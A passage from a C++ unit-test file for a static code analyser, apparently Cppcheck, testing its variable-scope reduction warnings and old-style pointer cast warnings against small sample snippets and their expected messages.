ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived 